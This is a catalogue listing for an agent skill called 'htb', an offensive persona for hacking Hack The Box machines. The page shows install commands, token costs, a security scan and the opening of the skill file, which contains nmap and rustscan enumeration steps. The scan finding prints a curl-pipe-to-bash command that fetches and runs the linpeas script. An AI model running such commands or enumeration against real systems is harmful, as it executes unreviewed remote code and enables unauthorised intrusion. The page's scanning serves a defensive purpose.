Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/jessefmoore/offensive-claude-codenpx agentmods add skills/jessefmoore/offensive-claude-code/htbWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/jessefmoore/offensive-claude-code/htb)<a href="https://agentmods.dev/skills/jessefmoore/offensive-claude-code/htb"><img src="https://agentmods.dev/badge/skills/jessefmoore/offensive-claude-code/htb/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/jessefmoore/offensive-claude-code/htb"><img src="https://agentmods.dev/badge/skills/jessefmoore/offensive-claude-code/htb.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00000 | $0.05849 |
| Opus 5.5 | $0.00000 | $0.02340 |
| Sonnet 5.5 | $0.00000 | $0.01170 |
| Haiku 4.5 | $0.00000 | $0.00585 |
Grade C, and why
htb scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Downloads and executes remote codehighSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash How it starts
The opening of the file, as written. The whole thing — 637 lines — stays where its author put it; the contents beside it link to each section on GitHub.
HTB Operator — 0xdf Methodology
Persona
Hack The Box is a single-machine environment. There is no internal network to laterally
traverse (except on Pro Labs / Fortress), no client to report to, and no engagement
window. The objective is always the same: retrieve user.txt then root.txt. Every
action is aimed at those two flags.
The 0xdf mindset:
- Enumerate everything, skip nothing. A service you dismissed as uninteresting is often the intended path. If you "quick-checked" a port, check it properly.
- Narrate the reasoning. Write down (or think through aloud) what you ran, why, what you expected, and what the result tells you. This is how you build pattern recognition that transfers to real engagements.
- Note dead ends explicitly. 0xdf's writeups document what didn't work. Knowing why a path fails is as valuable as knowing why one succeeds.
- Treat every service as potentially interesting. HTB machines are designed with an intended path; every open port is a clue. If something looks weird, it probably is.
- CTF-creative thinking. HTB machines sometimes require lateral leaps (steganography, non-obvious encoding, unusual file permissions). This is normal and expected.
- One foothold, then pivot. Unlike AD engagements, the machine usually has a single foothold path. Find it, own it, escalate. Don't try to parallelize before you have a shell.
This skill differs from the pentester skill (internal engagement persona). Use this
skill when working on a single HTB machine. Use pentester for Pro Lab / network-level
engagements (e.g., HTB Offshore, RastaLabs, Dante).
Phase 1: Initial Enumeration (always run all of these)
Full TCP Scan
Always start with -p- to catch non-standard ports. HTB machines regularly put services
on high ports (8080, 8443, 9200, 27017, etc.).
# Thorough initial scan — run first, let it cook
nmap -sC -sV -p- --min-rate 5000 -oA nmap/full <IP>
# If the above is slow (Windows machines often are), parallel approach:
rustscan -a <IP> --ulimit 5000 -- -sC -sV -oA nmap/full
# Read results: look for
# - Service versions (searchsploit immediately)
# - Unusual ports (anything > 1024 is worth noting)
# - OS detection clues (TTL, Windows SMB strings, Linux kernel)
# - Default scripts output (anonymous FTP, SMB signing, SSL cert CN)
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 3mo ago First seen · 637 lines · 0 tokens per session scan F 268a850f6b4b
htb is a skill published in the GitHub repository jessefmoore/offensive-claude-code (3 stars, last pushed 2mo ago), licensed MIT. It costs nothing until one of its globs matches a file; then it loads 5,849 tokens. A static security scan graded it C with 1 finding (downloads and executes remote code). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
htb compared with skills from other repositories
| Mod | Type | Stars | Last push | Licence | Scan | Tokens | Works with |
|---|---|---|---|---|---|---|---|
| htbjessefmoore/offensive-claude-code | Skill | 3 | 2mo ago | MIT | C | 0 | Claude Code, Codex |
| hr-onboardingnexu-io/open-design | Skill | 111k | today | Apache-2.0 | A | 62 | Claude Code, Codex |
| book-mirrorgarrytan/gbrain | Skill | 34k | today | MIT | A | 139 | Claude Code |
| lean-formalizewanshuiyin/Auto-claude-code-research-in-sleep | Skill | 20k | today | MIT | A | 81 | Claude Code |
| deck-course-modulenexu-io/html-anything | Skill | 17k | 3d ago | Apache-2.0 | A | 25 | Claude Code, Codex |
| eli5companion-inc/feynman | Skill | 10k | 3d ago | MIT | A | 63 | Claude Code, Codex |
| explore-unknownsdzhng/skills | Skill | 1.5k | 18d ago | MIT | A | 162 | Claude Code, Codex |